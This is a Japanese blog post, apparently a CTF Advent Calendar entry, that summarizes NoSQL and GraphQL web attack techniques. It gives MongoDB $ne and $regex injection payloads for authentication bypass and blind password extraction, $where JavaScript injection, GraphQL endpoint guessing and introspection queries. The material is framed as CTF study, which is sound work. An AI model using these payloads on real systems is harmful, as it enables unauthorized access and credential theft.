はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるNoSQLまとめ(Redis, MongoDB, GraphQL)

この記事はCTFのWebセキュリティ Advent Calendar 2021の6日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Redis

MongoDB

  • ?id=admin&pw=passにアクセスすると、クエリ文が{"id":"admin", "pw": "pass"}となるケースを考える
    • ?id=admin&pw[$ne]=passにアクセスすると、クエリ文が{"id":"admin", "pw": {"$ne": "pass"}}となり、否定なのでパスワードが違っていても大丈夫
  • whereを使う
    • GETパラメタをそのまま検索に使うようなやつなら、whereが使えるかもしれない
    • 例えば、/api/posts?$where=function(){return this.content.includes('flag')}みたいにすると、contentにflagが含まれるものを取得可能。
    • 二分探索っぽく不等式を条件とすれば、Blind SQL Injectionでも使える
  • ObjectID Prediction

SSJI: Server-Side Javascript Injection

Blind NoSQL Injection

  • $regexを使う
    1. 文字種を特定する
      • イナリサーチできないので、文字種でまずは検索していくのがいい
      • ?id=admin&pw[$regex]=a
    2. 先頭から一文字ずつ特定していく
    3. ?id=admin&pw[$regex]=^abcとすると、{"id":"admin", "pw": {"$regex": "^abc"}}となり、pwを正規表現で取ってこれる
    4. これをlike文のように使って抜き出す
    5. Cyber Apocalypse CTF 2021 Writeup | y011d4.log
      • {"password[$regex]": "CHTB{.*"}を利用する
  • where構文内部の場合
    • obj.pw[0]=='a';こういう文が入れ込めないか考える
    • これが入れ込めれば、特定の文字が何であるかが分かるため、like文の要領で後は頑張る

GraphQL

細かい話題

  • GraphQLのエンドポイントをエスパーして探し出す
    • /graphql /graphqlBatch /graphql.php /graphiql /graphql/console/ /graphql.php?debug=1
    • 難読化jsが沢山呼ばれているときに、graphあたりで検索するとgraphqlのエンドポイントが見つかったりする
  • GraphQLはPOSTでやってるのを見ることが多いが、GETでも受け取れるかも
    • POST {"query": "GraphQL文", "variables": "変数"}
    • GET /graphql?query=HTTP-encodedのGraphQL文&variables=HTTP-encodedの変数
  • Relay Connectionという仕様がある

ペイロード

  • { __schema { types { name } } }でテーブルっぽいのが出てくる
    • { __type(name: \"User\") { name fields { name type { name kind }}}}でUser型の情報
    • {__type(name: \"Access\"){name, kind, fields{name, description, type{name, kind, description}}}}Access型についてより詳しく情報が得られるっぽい
  • 使う構造体を調査する
    • { __schema { types { name fields { name type { name kind } } } } }
  • クエリを確認して使う
    1. query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }を実行する
    2. 得られた結果をここでCHANGE SCHEMAでINTROSPECTIONにつっこむ
    3. queryで引数があれば、SQLiとかディレクトリトラバーサルとか試してみよう
  • mutationを確認して使う
    1. { __schema { mutationType { fields { name type { name kind } } } } }で一覧と戻り値が分かる
    2. query { __schema { types { name,fields { name, args { name,description,type { name, kind, ofType { name, kind } } } } } } }"name": "Mutation"のfieldsを見れば引数が分かる
    3. あとはmutation { authenticateUser(username: \"congon4tor\", password: \"n8bboB!3%vDwiASVgKhv\") { token } }みたいに使う
  • 認証が必要な場合がある
    • 何らかの手段で認証トークンを取得
    • AuthorizationヘッダーをつけてAuthorization: [token]みたいにして認証が必要なクエリを実行する